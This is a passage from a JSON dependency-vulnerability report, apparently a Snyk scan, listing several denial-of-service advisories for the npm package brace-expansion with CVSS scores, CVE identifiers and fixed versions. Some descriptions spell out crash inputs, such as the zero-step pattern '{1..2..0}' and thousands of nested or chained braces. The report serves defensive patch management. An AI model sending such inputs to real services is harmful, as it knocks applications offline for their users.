"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": 